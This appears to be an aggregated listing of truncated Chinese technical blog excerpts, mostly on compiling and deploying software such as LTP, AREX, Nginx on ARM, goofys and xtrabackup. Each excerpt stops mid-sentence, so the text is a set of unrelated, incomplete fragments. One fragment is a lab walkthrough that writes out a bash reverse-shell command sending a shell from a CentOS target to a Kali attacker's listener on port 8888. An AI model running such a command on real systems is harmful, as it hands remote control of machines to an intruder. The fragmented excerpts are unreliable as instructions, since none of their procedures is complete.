https://www.cnblogs.com/codelogs/p/16012319.html 场景# 很多时候，我们需要批量操作多台机器，业界一般使用Ansible来实现，但使用Ansible来操作多台机器的前提是需要有ssh权限的，可悲的是，对于开发人员来说，一般是没有正式环境机器的ssh权限
一.安装及编译流程 1.下载LTP LTP 项目目前位于 GitHub，项目地址：https://github.com/linux-test-project/ltp 。 获取最新版可以执行以下命令： git clone https://github.com/linux-test-project/lt
https://zhuanlan.zhihu.com/p/613877597 AREX 官方 QQ 交流群：656108079 本文将详细为大家介绍一下自动化回归测试平台 AREX 以及如何在本地进行编译安装部署。 背景 AREX 是一款开源的自动化回归测试工具， 基于 Java Agent 技术，
一、原码、反码、补码的概念 原码 ：最高位是符号位，0代表正数，1代表负数，非符号位为该数字绝对值的二进制。 反码：正数的反码与原码一致，负数的反码是对原码按位取反，只是最高位（符号位）不变。 补码：正数的补码与原码一致，负数的补码是对原码按位取反加1，符号位不变。 二、示例 例如 十进制数字： +
https://baijiahao.baidu.com/s?id=1722775453962904303 兆芯KX-U6780A是一款8核2.7GHz的使用x86/AMD64指令集（架构）的国产CPU，于2019年发布。兆芯于2013年成立，不久之后就使用VIA的CPU成品成功申请了“核高基”重大专
简单来说，make 是编译，make install 是安装。 总结：linux编译安装中configure、make和make install各自的作用 • ./configure是用来检测你的安装平台的目标特征的。比如它会检测你是不是有CC或GCC，并不是需要CC或GCC，它是个shell脚本。
1.从.c文件到可执行文件，其间经历了几步？ 高级语言是偏向人，按照人的思维方式设计的，机器对这些可是莫名奇妙，不知所谓。那从高级语言是如何过渡到机器语言的呢？这可是一个漫长的旅途呀！ 其中，得经历这样的历程：C源程序－>编译预处理－>编译－>汇编程序－>链接程序－>可执行文件 1.预处理 读取c源
Python学习之三: 编译二进制 摘要 每次使用python 执行py文件其实是比较麻烦的 主要是还得安装python的虚拟机,以及安装对应的pip包. 感觉比较繁杂 理论上最快捷的方式是编译成 二进制直接运行. 所以这里主要是说一下通过pycharm和linux机器进行二进制编译的过程 Pych
buildx 多架构编译 安装docker 下载docker 下载buildx 安装架构支持 docker run --privileged --rm tonistiigi/binfmt --install all 创建一个自己的空间 buildx create --use --name mybui
https://zhuanlan.zhihu.com/p/429399630 Linux ubuntu 5.11.0-1021-generic #22-Ubuntu SMP Tue Sep 28 15:19:16 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
环境 攻击机：kali ip：192.168.25.144 靶 机：centos ip：192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击
# Nginx arm编译安装 ## 背景 ``` 计划编译一套产品. 能够比较方便快捷的进行 nginx的交付. 主要思想是源码编译 不仅能够在arm上面运行 也可以在x86上面编译 考虑性能还有一些扩展性. 高效处理. 主要涉及的点有: openssl 最新的1.1.1的的版本 zlib 进行压
# goofys 鲲鹏上面编译挂载与性能测试 ## 介质 ``` 使用go进行编译. 官网上面有 amd64的介质,但是没有aarch64的介质 需要自行编译 前几天一直编译失败. 周天在家自己测试了一把,根据github上面issue上面的描述编译成功了 发现的确比s3fs的性能要好, 计划下周进
环境：aarch64/centos7.6 glibc-2.17 编译器：gcc version 5.5.0 (GCC) 官方参考文档：https://www.percona.com/doc/percona-xtrabackup/2.4/installation/compiling_xtrabacku
作者：朱一帆 目录 SIMD 介绍 SIMD 函数派发方案 面向编译器的优化 SIMD 介绍 SIMD 是重要的重要的程序加速手段。CMU DB 组在 Advanced Database Systems 中有专门的两个章节（vectorization-1, vectorization-2）介绍
背景 前段时间业务研发反馈说是他的应用内存使用率很高，导致频繁的重启，让我排查下是怎么回事； 在这之前我也没怎么在意过这个问题，正好这次排查分析的过程做一个记录。 首先我查看了监控面板里的 Pod 监控： 发现确实是快满了，而此时去查看应用的 JVM 占用情况却只有30%左右；说明并不是应用内存满了
项目测试组又反馈一个问题，XTTS执行全量备份速度慢，影响测试进度。 实际算了下，平均速度才150MB/s.. 这个速度在客户生产环境的确是不够看，首先询问是否开了并行，开了多少？ 回复是说有开32个并行，在xtt.properties配置文件中指定的。 另外也注意在RMAN中show all的配置
# 背景 最近，负责基础设施的同事，要对一批测试环境机器进行回收，回收就涉及到应用迁移，问题是整个过程一团乱。比如服务器A上一堆应用要调用服务器B上一堆服务，结果服务器B被回收了，然后服务器A上一堆应用报错。 今天就是负责查一个问题，app上一个头像上传的接口，之前都好好的，不知道怎么就不能访问了，
前言 前段时间有朋友问道一个这样的问题，.NET Core中如何通过Attribute的元数据信息来调用标记的对应方法。我第一时间想到的就是通过C#反射获取带有Custom Attribute标记的类，然后通过依赖注入（DI）的方式获取对应服务的方法并通过反射动态执行类的方法，从而实现更灵活的编程方
